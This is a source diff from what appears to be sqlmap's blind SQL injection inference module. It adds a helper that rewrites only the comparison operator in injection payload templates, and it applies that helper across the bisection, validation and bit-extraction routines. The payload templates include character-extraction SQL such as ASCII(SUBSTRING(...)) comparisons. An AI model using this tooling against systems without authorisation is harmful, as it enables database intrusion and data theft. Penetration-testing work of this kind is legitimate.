@@ -109,6 +109,19 @@ def normalizedExpression(expression):
109109
110110 return retVal
111111
112+ def replaceInferenceOperator (payload , replacement ):
113+ """
114+ Replaces only the inference comparison operator (i.e. the one right in front of the compared
115+ value placeholder), leaving any other occurrence (e.g. inside the original parameter value) intact
116+
117+ >>> replaceInferenceOperator("1FF>6182 AND ASCII(SUBSTRING((%s),%d,1))>%d", "!=")
118+ '1FF>6182 AND ASCII(SUBSTRING((%s),%d,1))!=%d'
119+ >>> replaceInferenceOperator("a>b AND SUBSTR((%s),%d,1)>'%c'", "=")
120+ "a>b AND SUBSTR((%s),%d,1)='%c'"
121+ """
122+
123+ return re .sub (r"%s(?=%%d|'%%c')" % re .escape (INFERENCE_GREATER_CHAR ), lambda match : replacement , payload )
124+
112125def getHuffmanPrior (order , scale , dbms = None ):
113126 """
114127 Character-level order-N Markov model {context: {ordinal: count}} used to warm the Huffman
@@ -350,7 +363,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
350363 elif Backend .isDbms (DBMS .FRONTBASE ):
351364 match = re .search (r"\ASELECT\b(\s+TOP\s*\([^)]+\)\s+)?(.+)\bFROM\b(.+)\Z" , expression , re .I )
352365 if match :
353- payload = payload . replace ( INFERENCE_GREATER_CHAR , " FROM %s)%s" % (match .group (3 ).strip (), INFERENCE_GREATER_CHAR ))
366+ payload = replaceInferenceOperator ( payload , " FROM %s)%s" % (match .group (3 ).strip (), INFERENCE_GREATER_CHAR ))
354367 payload = payload .replace ("SUBSTRING" , "(SELECT%sSUBSTRING" % (match .group (1 ) if match .group (1 ) else " " ), 1 )
355368 expression = match .group (2 ).strip ()
356369
@@ -509,9 +522,9 @@ def tryHint(idx):
509522
510523 markingValue = "'%s'" % CHAR_INFERENCE_MARK
511524 unescapedCharValue = unescaper .escape ("'%s'" % decodeIntToUnicode (posValue ))
512- forgedPayload = agent .extractPayload (payload ) or ""
525+ forgedPayload = replaceInferenceOperator ( agent .extractPayload (payload ) or "" , INFERENCE_EQUALS_CHAR )
513526 forgedPayload = forgedPayload .replace (markingValue , unescapedCharValue )
514- forgedPayload = safeStringFormat (forgedPayload . replace ( INFERENCE_GREATER_CHAR , INFERENCE_EQUALS_CHAR ) , (expressionUnescaped , idx , posValue ))
527+ forgedPayload = safeStringFormat (forgedPayload , (expressionUnescaped , idx , posValue ))
515528 result = Request .queryPage (agent .replacePayload (payload , forgedPayload ), timeBasedCompare = timeBasedCompare , raise404 = False )
516529 incrementCounter (getTechnique ())
517530
@@ -530,7 +543,7 @@ def validateChar(idx, value):
530543
531544 threadData = getCurrentThreadData ()
532545
533- validationPayload = re . sub ( r"(%s.*?)%s(.*?%s)" % ( PAYLOAD_DELIMITER , INFERENCE_GREATER_CHAR , PAYLOAD_DELIMITER ), r"\g<1>%s\g<2>" % INFERENCE_NOT_EQUALS_CHAR , payload )
546+ validationPayload = replaceInferenceOperator ( payload , INFERENCE_NOT_EQUALS_CHAR ) if PAYLOAD_DELIMITER in payload else payload
534547
535548 if "'%s'" % CHAR_INFERENCE_MARK not in payload :
536549 forgedPayload = safeStringFormat (validationPayload , (expressionUnescaped , idx , value ))
@@ -668,7 +681,7 @@ def _hasEscape(n):
668681 # If it disagrees, the IN() channel is unreliable here: latch the technique off so the
669682 # classic '>' bisection takes over for the rest of the run (graceful fallback).
670683 if not kb .huffmanValidated :
671- verifyPayload = safeStringFormat (payload . replace ( INFERENCE_GREATER_CHAR , INFERENCE_EQUALS_CHAR ), (expressionUnescaped , idx , value ))
684+ verifyPayload = safeStringFormat (replaceInferenceOperator ( payload , INFERENCE_EQUALS_CHAR ), (expressionUnescaped , idx , value ))
672685 verified = Request .queryPage (verifyPayload , timeBasedCompare = timeBasedCompare , raise404 = False )
673686 incrementCounter (getTechnique ())
674687 if verified :
@@ -739,7 +752,7 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None,
739752 return None
740753
741754 elif len (charTbl ) == 1 :
742- forgedPayload = safeStringFormat (payload . replace ( INFERENCE_GREATER_CHAR , INFERENCE_EQUALS_CHAR ), (expressionUnescaped , idx , charTbl [0 ]))
755+ forgedPayload = safeStringFormat (replaceInferenceOperator ( payload , INFERENCE_EQUALS_CHAR ), (expressionUnescaped , idx , charTbl [0 ]))
743756 result = Request .queryPage (forgedPayload , timeBasedCompare = timeBasedCompare , raise404 = False )
744757 incrementCounter (getTechnique ())
745758
@@ -963,7 +976,7 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None,
963976 choice = sorted (bits .items (), key = lambda _ : abs (_ [1 ]))[0 ][0 ]
964977 mask = 1 << choice
965978
966- forgedPayload = safeStringFormat (payload . replace ( INFERENCE_GREATER_CHAR , "&%d%s" % (mask , INFERENCE_GREATER_CHAR )), (expressionUnescaped , idx , 0 ))
979+ forgedPayload = safeStringFormat (replaceInferenceOperator ( payload , "&%d%s" % (mask , INFERENCE_GREATER_CHAR )), (expressionUnescaped , idx , 0 ))
967980 result = Request .queryPage (forgedPayload , timeBasedCompare = timeBasedCompare , raise404 = False )
968981 incrementCounter (getTechnique ())
969982
@@ -975,7 +988,7 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None,
975988 bit += 1
976989
977990 if candidates :
978- forgedPayload = safeStringFormat (payload . replace ( INFERENCE_GREATER_CHAR , INFERENCE_EQUALS_CHAR ), (expressionUnescaped , idx , candidates [0 ]))
991+ forgedPayload = safeStringFormat (replaceInferenceOperator ( payload , INFERENCE_EQUALS_CHAR ), (expressionUnescaped , idx , candidates [0 ]))
979992 result = Request .queryPage (forgedPayload , timeBasedCompare = timeBasedCompare , raise404 = False )
980993 incrementCounter (getTechnique ())
981994
0 commit comments